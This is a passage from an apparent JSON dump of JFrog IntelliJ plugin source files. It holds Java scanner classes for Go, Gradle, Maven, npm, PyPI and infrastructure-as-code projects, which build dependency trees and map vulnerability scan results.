List<SarifResult> evidence = resultsByRule.getOrDefault(rule.getId(), List.of());\n                    for (SarifResult result : evidence) {\n                        if (!result.getLocations().isEmpty()) {\n                            warnings.add(new JFrogSecurityWarning(result, scanType, rule));\n                        }\n                    }\n                } else if (\"not_applicable\".equals(applicability)) {\n                    warnings.add(JFrogSecurityWarning.notApplicable(rule.getId(), scanType));\n                }\n            }\n        }\n        return warnings;\n    }\n\n    private List<Rule> getUniqueRules(List<Rule> rules) {\n        Map<String, Rule> ruleMap = new LinkedHashMap<>();\n        for (Rule rule : rules) {\n            Rule existing = ruleMap.get(rule.getId());\n            if (existing == null) {\n                ruleMap.put(rule.getId(), rule);\n            } else {\n                Optional<RuleProperties> existingProps = existing.getRuleProperties();\n                if (existingProps.isPresent() && \"not_applicable\".equals(existingProps.get().getApplicability())) {\n                    Optional<RuleProperties> currentProps = rule.getRuleProperties();\n                    if (currentProps.isPresent() && !\"not_applicable\".equals(currentProps.get().getApplicability())) {\n                        ruleMap.put(rule.getId(), rule);\n                    }\n                }\n            }\n        }\n        return new ArrayList<>(ruleMap.values());\n    }\n\n    @Override\n    List<FileTreeNode> createSpecificFileIssueNodes(List<JFrogSecurityWarning> warnings) {\n        return createSpecificFileIssueNodes(warnings, new HashMap<>());\n    }\n\n    List<FileTreeNode> createSpecificFileIssueNodes(List<JFrogSecurityWarning> warnings, Map<String, List<VulnerabilityNode>> issuesMap) {\n        HashMap<String, FileTreeNode> results = new HashMap<>();\n        for (JFrogSecurityWarning warning : warnings) {\n            // Update all VulnerabilityNodes that have the warning's CVE\n            String cve = StringUtils.removeStart(warning.getRuleID(), \"applic_\");\n            List<VulnerabilityNode> issues = issuesMap.get(cve);\n            if (issues != null) {\n                if (warning.isApplicable()) {\n                    // Create FileTreeNodes for files with applicable issues\n                    FileTreeNode fileNode = results.get(warning.getFilePath());\n                    if (fileNode == null) {\n                        fileNode = new FileTreeNode(warning.getFilePath());\n                        results.put(warning.getFilePath(), fileNode);\n                    }\n\n                    ApplicableIssueNode applicableIssue = new ApplicableIssueNode(\n                            cve, warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(),\n                            warning.getFilePath(), warning.getReason(), warning.getLineSnippet(), warning.getScannerSearchTarget(),\n                            issues.get(0), warning.getRuleID());\n                    fileNode.addIssue(applicableIssue);\n                    for (VulnerabilityNode issue : issues) {\n                        issue.updateApplicableInfo(applicableIssue);\n                    }\n                } else {\n                    // Mark non-applicable vulnerabilities.\n                    for (VulnerabilityNode issue : issues) {\n                        issue.setNotApplicable();\n                    }\n                }\n            }\n        }\n        return new ArrayList<>(results.values());\n    }\n\n    @Override\n    Feature getScannerFeatureName() {\n        return Feature.CONTEXTUAL_ANALYSIS;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/GoScanner.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.google.common.collect.Maps;\nimport com.intellij.diagnostic.PluginException;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.vfs.LocalFileSystem;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.PsiManager;\nimport com.intellij.util.EnvironmentUtil;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.go.GoTreeBuilder;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.inspections.AbstractInspection;\nimport com.jfrog.ide.idea.inspections.GoInspection;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\nimport com.jfrog.ide.idea.utils.GoUtils;\n\nimport javax.annotation.Nullable;\nimport java.io.IOException;\nimport java.nio.file.Paths;\nimport java.util.Map;\nimport java.util.concurrent.ExecutorService;\n\n/**\n * Created by Bar Belity on 06/02/2020.\n */\npublic class GoScanner extends SingleDescriptorScanner {\n    private final GoTreeBuilder goTreeBuilder;\n\n    /**\n     * @param project   currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                  like {@link ConsistentFilterManager} and {@link ComponentsTree}.\n     * @param basePath  the go.mod directory\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    GoScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) {\n        super(project, basePath, ComponentPrefix.GO, executor, Paths.get(basePath, \"go.mod\").toString(), scanLogic);\n        getLog().info(\"Found Go project: \" + getProjectPath());\n        Map<String, String> env = Maps.newHashMap(EnvironmentUtil.getEnvironmentMap());\n        String goExec = null;\n        try {\n            goExec = GoUtils.getGoExeAndSetEnv(env, project);\n        } catch (NoClassDefFoundError error) {\n            getLog().warn(\"Go plugin is not installed. Install it to get a better experience.\");\n        }\n        goTreeBuilder = new GoTreeBuilder(goExec, Paths.get(basePath), descriptorFilePath, env, getLog());\n    }\n\n    @Override\n    protected DepTree buildTree() throws IOException {\n        return goTreeBuilder.buildTree();\n    }\n\n    @Override\n    protected PsiFile[] getProjectDescriptors() {\n        VirtualFile file = LocalFileSystem.getInstance().findFileByPath(descriptorFilePath);\n        if (file == null) {\n            return null;\n        }\n        PsiFile psiFile = PsiManager.getInstance(project).findFile(file);\n        return new PsiFile[]{psiFile};\n    }\n\n    @Override\n    protected @Nullable AbstractInspection getInspectionTool() {\n        try {\n            return new GoInspection();\n        } catch (PluginException e) {\n            // Go plugin is disabled or not installed\n            getLog().warn(\"Inspections for Go projects require the Go language plugin to be installed and enabled. \" +\n                    \"Please make sure the Go plugin is installed and enabled for a complete experience.\");\n            return null;\n        }\n    }\n\n    @Override\n    protected PackageManagerType getPackageManagerType() {\n        return PackageManagerType.GO;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/GradleScanner.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.google.common.collect.Maps;\nimport com.intellij.ide.plugins.PluginManagerCore;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.extensions.PluginId;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.vfs.LocalFileSystem;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.PsiManager;\nimport com.intellij.util.EnvironmentUtil;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.gradle.GradleTreeBuilder;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.inspections.AbstractInspection;\nimport com.jfrog.ide.idea.inspections.GradleGroovyInspection;\nimport com.jfrog.ide.idea.inspections.GradleKotlinInspection;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.SystemUtils;\nimport org.jetbrains.plugins.gradle.service.GradleInstallationManager;\nimport org.jetbrains.plugins.gradle.service.settings.GradleConfigurable;\nimport org.jetbrains.plugins.gradle.settings.DistributionType;\nimport org.jetbrains.plugins.gradle.settings.GradleProjectSettings;\nimport org.jetbrains.plugins.gradle.settings.GradleSettings;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Map;\nimport java.util.concurrent.ExecutorService;\n\nimport static com.jfrog.ide.common.log.Utils.logError;\n\n/**\n * Created by Yahav Itzhak on 9 Nov 2017.\n */\npublic class GradleScanner extends SingleDescriptorScanner {\n    private final GradleTreeBuilder gradleTreeBuilder;\n    private boolean kotlin;\n\n    /**\n     * @param project   currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                  like {@link ConsistentFilterManager} and {@link ComponentsTree}.\n     * @param basePath  the build.gradle or build.gradle.kts directory\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    GradleScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) {\n        super(project, basePath, ComponentPrefix.GAV, executor, scanLogic);\n        getLog().info(\"Found Gradle project: \" + getProjectPath());\n        Path dirPath = Paths.get(this.basePath);\n        Path buildGradleKotlinPath = dirPath.resolve(\"build.gradle.kts\");\n        if (Files.exists(buildGradleKotlinPath)) {\n            descriptorFilePath = buildGradleKotlinPath.toString();\n        } else {\n            descriptorFilePath = dirPath.resolve(\"build.gradle\").toString();\n        }\n        Map<String, String> env = Maps.newHashMap(EnvironmentUtil.getEnvironmentMap());\n        Path pluginLibDir = PluginManagerCore.getPlugin(PluginId.findId(\"org.jfrog.idea\")).getPluginPath().resolve(\"lib\");\n        env.put(\"pluginLibDir\", pluginLibDir.toAbsolutePath().toString());\n        gradleTreeBuilder = new GradleTreeBuilder(Paths.get(basePath), descriptorFilePath, env, getGradleExeAndJdk(env));\n    }\n\n    @Override\n    protected PsiFile[] getProjectDescriptors() {\n        LocalFileSystem localFileSystem = LocalFileSystem.getInstance();\n        Path basePath = Paths.get(this.basePath);\n        VirtualFile file = localFileSystem.findFileByPath(basePath.resolve(\"build.gradle\").toString());\n        if (file == null) {\n            file = localFileSystem.findFileByPath(basePath.resolve(\"build.gradle.kts\").toString());\n            if (file == null) {\n                return null;\n            }\n            kotlin = true;\n        }\n        PsiFile psiFile = PsiManager.getInstance(project).findFile(file);\n        return new PsiFile[]{psiFile};\n    }\n\n    @Override\n    protected AbstractInspection getInspectionTool() {\n        return kotlin ? new GradleKotlinInspection() : new GradleGroovyInspection();\n    }\n\n    @Override\n    protected PackageManagerType getPackageManagerType() {\n        return PackageManagerType.GRADLE;\n    }\n\n    @Override\n    protected DepTree buildTree() throws IOException {\n        return gradleTreeBuilder.buildTree(getLog());\n    }\n\n    /**\n     * Extract the chosen Gradle executable path from the Gradle plugin. If Gradle is not configured well, return null.\n     *\n     * @param env - The environment variables map to set the JAVA_HOME\n     * @return the chosen Gradle executable path or null\n     */\n    String getGradleExeAndJdk(Map<String, String> env) {\n        File gradleHome = resolveGradleAndSetJavaHome(env);\n        if (gradleHome == null) {\n            getLog().info(\"Using Gradle from system path.\");\n            return null;\n        }\n        String gradleExe = gradleHome.toPath().resolve(\"bin\").resolve(SystemUtils.IS_OS_WINDOWS ? \"gradle.bat\" : \"gradle\").toString();\n        getLog().info(\"Using Gradle executable \" + gradleExe);\n        return gradleExe;\n    }\n\n    /**\n     * Resolve Gradle executable and Java home from Gradle settings.\n     *\n     * @param env - The environment variables to set the JAVA_HOME\n     * @return gradle executable\n     */\n    private File resolveGradleAndSetJavaHome(Map<String, String> env) {\n        GradleSettings gradleSettings = GradleSettings.getInstance(project);\n        GradleProjectSettings projectSettings = gradleSettings.getLinkedProjectSettings(basePath);\n        if (projectSettings == null && SystemUtils.IS_OS_WINDOWS) {\n            projectSettings = gradleSettings.getLinkedProjectSettings(basePath.replaceAll(\"\\\\\\\\\", \"/\"));\n        }\n        if (projectSettings == null) {\n            logError(getLog(), \"Couldn't retrieve Gradle project settings. Hint - make sure the Gradle project was properly imported.\", false);\n            return null;\n        }\n        GradleInstallationManager gradleInstallationManager = ApplicationManager.getApplication().getService(GradleInstallationManager.class);\n\n        // Set JAVA_HOME\n        String javaHome = gradleInstallationManager.getGradleJvmPath(project, projectSettings.getExternalProjectPath());\n        if (StringUtils.isNotBlank(javaHome)) {\n            getLog().info(\"Using Java home: \" + javaHome);\n            env.put(\"JAVA_HOME\", javaHome);\n        }\n\n        File gradleHome = gradleInstallationManager.getGradleHome(project, projectSettings.getExternalProjectPath());\n        if (gradleHome != null) {\n            return gradleHome;\n        }\n        if (StringUtils.isNotBlank(projectSettings.getGradleHome())) {\n            return new File(projectSettings.getGradleHome());\n        }\n\n        // Gradle wasn't set properly\n        if (isMisconfigurationError(projectSettings.getExternalProjectPath())) {\n            Logger.addOpenSettingsLink(\"It looks like Gradle home was not properly set in your project. \" +\n                    \"Click <a href=\\\"#settings\\\">here</a> to set Gradle home.\", project, GradleConfigurable.class);\n        } else {\n            getLog().warn(\"Can't run Gradle from Gradle settings. Hint - try to reload Gradle project and then refresh the scan.\");\n        }\n        return null;\n    }\n\n    private boolean isMisconfigurationError(String linkedProjectPath) {\n        GradleProjectSettings projectSettings = GradleSettings.getInstance(project).getLinkedProjectSettings(linkedProjectPath);\n        if (projectSettings != null) {\n            DistributionType distributionType = projectSettings.getDistributionType();\n            // Distribution type has not been chosen or the distribution type is not Gradle wrapper.\n            // If the distribution type is wrapped, it is probable that the Gradle wrapper is not yet created.\n            return distributionType == null || !distributionType.isWrapped();\n        }\n        // Gradle project settings are not set\n        return true;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/IACScannerExecutor.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.FileIssueNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport com.jfrog.xray.client.services.entitlements.Feature;\nimport org.jfrog.build.api.util.Log;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\n/**\n * @author Tal Arian\n */\npublic class IACScannerExecutor extends ScanBinaryExecutor {\n    private static final List<String> SCANNER_ARGS = List.of(\"iac\");\n    private static final String ISSUE_TITLE = \"Infrastructure as Code Vulnerability\";\n\n    public IACScannerExecutor(Log log) {\n        super(SourceCodeScanType.IAC, log);\n    }\n\n    public List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException {\n        return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, indicator);\n    }\n\n    @Override\n    List<FileTreeNode> createSpecificFileIssueNodes(List<JFrogSecurityWarning> warnings) {\n        HashMap<String, FileTreeNode> results = new HashMap<>();\n        for (JFrogSecurityWarning warning : warnings) {\n            // Create FileTreeNodes for files with found issues\n            FileTreeNode fileNode = results.get(warning.getFilePath());\n            if (fileNode == null) {\n                fileNode = new FileTreeNode(warning.getFilePath());\n                results.put(warning.getFilePath(), fileNode);\n            }\n\n            FileIssueNode issueNode = new FileIssueNode(ISSUE_TITLE,\n                    warning.getFilePath(), warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(),\n                    warning.getScannerSearchTarget(), warning.getLineSnippet(), warning.getReporter(), warning.getSeverity(), warning.getRuleID());\n            fileNode.addIssue(issueNode);\n        }\n        return new ArrayList<>(results.values());\n    }\n\n    @Override\n    public Feature getScannerFeatureName() {\n        return Feature.INFRASTRUCTURE_AS_CODE;\n    }\n\n    @Override\n    protected boolean isPackageTypeSupported(PackageManagerType packageType) {\n        return true;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/MavenScanner.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.ide.highlighter.XmlFileType;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.PsiManager;\nimport com.intellij.psi.search.FilenameIndex;\nimport com.intellij.psi.search.GlobalSearchScope;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.DescriptorFileTreeNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.inspections.AbstractInspection;\nimport com.jfrog.ide.idea.inspections.MavenInspection;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\nimport com.jfrog.ide.idea.utils.Utils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.idea.maven.model.MavenArtifact;\nimport org.jetbrains.idea.maven.model.MavenArtifactNode;\nimport org.jetbrains.idea.maven.model.MavenArtifactState;\nimport org.jetbrains.idea.maven.model.MavenId;\nimport org.jetbrains.idea.maven.project.MavenProject;\nimport org.jetbrains.idea.maven.project.MavenProjectsManager;\n\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.*;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport java.util.concurrent.ExecutorService;\nimport java.util.stream.Collectors;\n\nimport static com.jfrog.ide.common.utils.Utils.createComponentId;\n\n/**\n * Created by romang on 3/2/17.\n */\npublic class MavenScanner extends ScannerBase {\n    private final String POM_FILE_NAME = \"pom.xml\";\n\n    /**\n     * @param project  - Currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                 like {@link ConsistentFilterManager} and {@link ComponentsTree}.\n     * @param executor - An executor that should limit the number of running tasks to 3\n     */\n    MavenScanner(Project project, ExecutorService executor, ScanLogic scanLogic) {\n        super(project, Utils.getProjectBasePath(project).toString(), ComponentPrefix.GAV, executor, scanLogic);\n        getLog().info(\"Found Maven project: \" + getProjectPath());\n    }\n\n    static boolean isApplicable(@NotNull Project project) {\n        return MavenProjectsManager.getInstance(project).hasProjects();\n    }\n\n    /**\n     * Returns all project modules locations as Paths.\n     * Other scanners such as npm will use this paths in order to find modules.\n     *\n     * @return all project modules locations as Paths\n     */\n    public Set<Path> getProjectPaths() {\n        return MavenProjectsManager.getInstance(project).getProjects().stream()\n                .map(MavenProject::getDirectory)\n                .map(Paths::get)\n                .collect(Collectors.toSet());\n    }\n\n    @Override\n    protected DepTree buildTree() {\n        String rootId = project.getName();\n        DepTreeNode rootNode = new DepTreeNode();\n        Map<String, DepTreeNode> nodes = new HashMap<>();\n        MavenProjectsManager.getInstance(project).getRootProjects().forEach(rootMavenProject -> populateMavenModule(nodes, rootNode, rootMavenProject));\n        if (rootNode.getChildren().size() == 1) {\n            return new DepTree(rootNode.getChildren().iterator().next(), nodes);\n        }\n        nodes.put(rootId, rootNode);\n        return new DepTree(rootId, nodes);\n    }\n\n    @Override\n    protected PsiFile[] getProjectDescriptors() {\n        // As project can contain subprojects, look for all 'pom.xml' files under it.\n        GlobalSearchScope scope = GlobalSearchScope.getScopeRestrictedByFileTypes(GlobalSearchScope.projectScope(project), XmlFileType.INSTANCE);\n        Collection<VirtualFile> allPoms = FilenameIndex.getVirtualFilesByName(POM_FILE_NAME, scope);\n        PsiManager psiManager = PsiManager.getInstance(project);\n        return allPoms.stream().map(psiManager::findFile).toArray(PsiFile[]::new);\n    }\n\n    @Override\n    protected AbstractInspection getInspectionTool() {\n        return new MavenInspection();\n    }\n\n    @Override\n    protected PackageManagerType getPackageManagerType() {\n        return PackageManagerType.MAVEN;\n    }\n\n    /**\n     * Populate recursively the dependency tree with the maven module and its dependencies.\n     *\n     * @param nodes        a map of {@link DepTreeNode}s by their component IDs to be filled with the module's components.\n     * @param parentModule the parent dependency node\n     * @param mavenProject the root Maven project\n     */\n    private void populateMavenModule(Map<String, DepTreeNode> nodes, DepTreeNode parentModule, MavenProject mavenProject) {\n        MavenId mavenId = mavenProject.getMavenId();\n        String compId = createComponentId(mavenId.getGroupId(), mavenId.getArtifactId(), mavenId.getVersion());\n        DepTreeNode mavenNode = getOrCreateMavenModuleNode(nodes, compId, mavenProject);\n        parentModule.getChildren().add(compId);\n        addMavenProjectDependencies(nodes, mavenNode, mavenProject);\n        mavenProject.getExistingModuleFiles().stream()\n                .map(this::getModuleByVirtualFile)\n                .filter(Objects::nonNull)\n                .forEach(mavenModule -> populateMavenModule(nodes, mavenNode, mavenModule));\n    }\n\n    private MavenProject getModuleByVirtualFile(VirtualFile virtualFile) {\n        return MavenProjectsManager.getInstance(project).getProjects()\n                .stream()\n                .filter(mavenModule -> Objects.equals(mavenModule.getFile().getCanonicalPath(), virtualFile.getCanonicalPath()))\n                .findAny()\n                .orElse(null);\n    }\n\n    private void addMavenProjectDependencies(Map<String, DepTreeNode> nodes, DepTreeNode moduleNode, MavenProject mavenProject) {\n        mavenProject.getDependencyTree()\n                .stream()\n                .filter(mavenArtifactNode -> mavenArtifactNode.getState() == MavenArtifactState.ADDED)\n                .forEach(mavenArtifactNode -> updateChildrenNodes(nodes, moduleNode, mavenArtifactNode, true));\n    }\n\n    private DepTreeNode getOrCreateMavenModuleNode(Map<String, DepTreeNode> nodes, String moduleCompId, MavenProject mavenProject) {\n        if (!nodes.containsKey(moduleCompId)) {\n            nodes.put(moduleCompId, new DepTreeNode());\n        }\n        return nodes.get(moduleCompId).descriptorFilePath(mavenProject.getPath());\n    }\n\n    private void updateChildrenNodes(Map<String, DepTreeNode> nodes, DepTreeNode parentNode, MavenArtifactNode mavenArtifactNode, boolean setScopes) {\n        MavenArtifact mavenArtifact = mavenArtifactNode.getArtifact();\n        String compId = mavenArtifact.getDisplayStringSimple();\n        DepTreeNode currentNode;\n        if (nodes.containsKey(compId)) {\n            currentNode = nodes.get(compId);\n        } else {\n            currentNode = new DepTreeNode();\n            nodes.put(compId, currentNode);\n        }\n        if (setScopes) {\n            currentNode.getScopes().add(mavenArtifact.getScope());\n        }\n        mavenArtifactNode.getDependencies()\n                .stream()\n                .filter(mavenArtifactChild -> mavenArtifactChild.getState() == MavenArtifactState.ADDED)\n                .forEach(childrenArtifactNode -> updateChildrenNodes(nodes, currentNode, childrenArtifactNode, false));\n        parentNode.getChildren().add(compId);\n    }\n\n    /**\n     * Groups a collection of {@link DependencyNode}s by the descriptor files of the modules that depend on them.\n     * The returned DependencyNodes inside the {@link FileTreeNode}s are clones of the ones in depScanResults.\n     *\n     * @param depScanResults collection of DependencyNodes\n     * @param depTree        the project's dependency tree\n     * @param parents        a map of components by their IDs and their parents in the dependency tree\n     * @return a list of FileTreeNodes (that are all DescriptorFileTreeNodes) having the DependencyNodes as their children\n     */\n    @Override\n    protected List<FileTreeNode> groupDependenciesToDescriptorNodes(Collection<DependencyNode> depScanResults, DepTree depTree, Map<String, Set<String>> parents) {\n        Map<String, DescriptorFileTreeNode> descriptorMap = new HashMap<>();\n        Map<String, Set<String>> visitedComponents = new HashMap<>();\n        for (DependencyNode dependencyNode : depScanResults) {\n            String vulnerableDepId = dependencyNode.getComponentIdWithoutPrefix();\n            Set<String> affectedModulesIds = getDependentModules(vulnerableDepId, depTree, parents, visitedComponents);\n            for (String descriptorId : affectedModulesIds) {\n                String descriptorPath = depTree.nodes().get(descriptorId).getDescriptorFilePath();\n                descriptorMap.putIfAbsent(descriptorPath, new DescriptorFileTreeNode(descriptorPath));\n\n                // Each dependency might be a child of more than one POM file, but Artifact is a tree node, so it can have only one parent.\n                // The solution for this is to clone the dependency before adding it as a child of the POM.\n                DependencyNode clonedDep = (DependencyNode) dependencyNode.clone();\n                clonedDep.setIndirect(!vulnerableDepId.equals(descriptorId) && !parents.get(vulnerableDepId).contains(descriptorId));\n                descriptorMap.get(descriptorPath).addDependency(clonedDep);\n            }\n        }\n        return new CopyOnWriteArrayList<>(descriptorMap.values());\n    }\n\n    /**\n     * Retrieve component IDs of all modules in the project that are dependent on the specified component.\n     *\n     * @param compId            the component ID to identify modules depending on it\n     * @param depTree           the project's dependency tree\n     * @param parents           a map of components by their IDs and their parents in the dependency tree\n     * @param visitedComponents a map of components for which dependent modules have already been found\n     * @return a set of component IDs representing modules dependent on the specified component\n     */\n    Set<String> getDependentModules(String compId, DepTree depTree, Map<String, Set<String>> parents, Map<String, Set<String>> visitedComponents) {\n        if (visitedComponents.containsKey(compId)) {\n            return visitedComponents.get(compId);\n        }\n        Set<String> modulesIds = new HashSet<>();\n        if (depTree.nodes().get(compId).getDescriptorFilePath() != null) {\n            modulesIds.add(compId);\n        }\n        if (parents.containsKey(compId)) {\n            for (String parentId : parents.get(compId)) {\n                modulesIds.addAll(getDependentModules(parentId, depTree, parents, visitedComponents));\n            }\n        }\n        visitedComponents.put(compId, modulesIds);\n        return modulesIds;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/NpmScanner.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.vfs.LocalFileSystem;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.PsiManager;\nimport com.intellij.util.EnvironmentUtil;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.npm.NpmTreeBuilder;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.inspections.AbstractInspection;\nimport com.jfrog.ide.idea.inspections.NpmInspection;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\n\nimport java.io.IOException;\nimport java.nio.file.Paths;\nimport java.util.concurrent.ExecutorService;\n\n/**\n * Created by Yahav Itzhak on 13 Dec 2017.\n */\npublic class NpmScanner extends SingleDescriptorScanner {\n    private final NpmTreeBuilder npmTreeBuilder;\n\n    /**\n     * @param project   currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                  like {@link ConsistentFilterManager} and {@link ComponentsTree}.\n     * @param basePath  the package.json directory\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    NpmScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) {\n        super(project, basePath, ComponentPrefix.NPM, executor, Paths.get(basePath, \"package.json\").toString(), scanLogic);\n        getLog().info(\"Found npm project: \" + getProjectPath());\n        npmTreeBuilder = new NpmTreeBuilder(Paths.get(basePath), descriptorFilePath, EnvironmentUtil.getEnvironmentMap());\n    }\n\n    @Override\n    protected DepTree buildTree() throws IOException {\n        return npmTreeBuilder.buildTree(getLog());\n    }\n\n    @Override\n    protected PsiFile[] getProjectDescriptors() {\n        VirtualFile file = LocalFileSystem.getInstance().findFileByPath(descriptorFilePath);\n        if (file == null) {\n            return null;\n        }\n        PsiFile psiFile = PsiManager.getInstance(project).findFile(file);\n        return new PsiFile[]{psiFile};\n    }\n\n    @Override\n    protected AbstractInspection getInspectionTool() {\n        return new NpmInspection();\n    }\n\n    @Override\n    protected PackageManagerType getPackageManagerType() {\n        return PackageManagerType.NPM;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/PypiScanner.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.execution.ExecutionException;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.projectRoots.Sdk;\nimport com.intellij.psi.PsiFile;\nimport com.jetbrains.python.packaging.PyPackage;\nimport com.jetbrains.python.packaging.PyPackageManager;\nimport com.jetbrains.python.packaging.PyRequirement;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.inspections.AbstractInspection;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.concurrent.ExecutorService;\n\nimport static com.jfrog.ide.common.utils.Utils.createComponentId;\n\n/**\n * @author yahavi\n */\npublic class PypiScanner extends SingleDescriptorScanner {\n    private final Sdk pythonSdk;\n\n    /**\n     * @param project   currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                  like {@link ConsistentFilterManager} and {@link ComponentsTree}.\n     * @param pythonSdk the Python SDK\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    PypiScanner(Project project, Sdk pythonSdk, ExecutorService executor, ScanLogic scanLogic) {\n        super(project, pythonSdk.getHomePath(), ComponentPrefix.PYPI, executor, pythonSdk.getHomePath(), scanLogic);\n        this.pythonSdk = pythonSdk;\n        getLog().info(\"Found PyPI SDK: \" + getProjectPath());\n    }\n\n    @Override\n    protected DepTree buildTree() throws IOException {\n        try {\n            return createSdkDependencyTree(pythonSdk);\n        } catch (ExecutionException e) {\n            throw new IOException(e);\n        }\n    }\n\n    /**\n     * Create a dependency tree for a given Python SDK.\n     *\n     * @param pythonSdk the Python SDK\n     * @return dependency tree created for a given Python SDK.\n     */\n    private DepTree createSdkDependencyTree(Sdk pythonSdk) throws ExecutionException {\n        // Retrieve all PyPI packages\n        PyPackageManager packageManager = PyPackageManager.getInstance(pythonSdk);\n        List<PyPackage> packages = packageManager.refreshAndGetPackages(true);\n        getLog().debug(CollectionUtils.size(packages) + \" PyPI packages found in SDK \" + pythonSdk.getName());\n\n        // Create dependency mapping\n        Map<String, String> compIdByCompName = new HashMap<>();\n        Set<String> dependencies = new HashSet<>();\n        for (PyPackage pyPackage : packages) {\n            String compId = createComponentId(pyPackage.getName(), pyPackage.getVersion());\n            compIdByCompName.put(pyPackage.getName().toLowerCase(), compId);\n            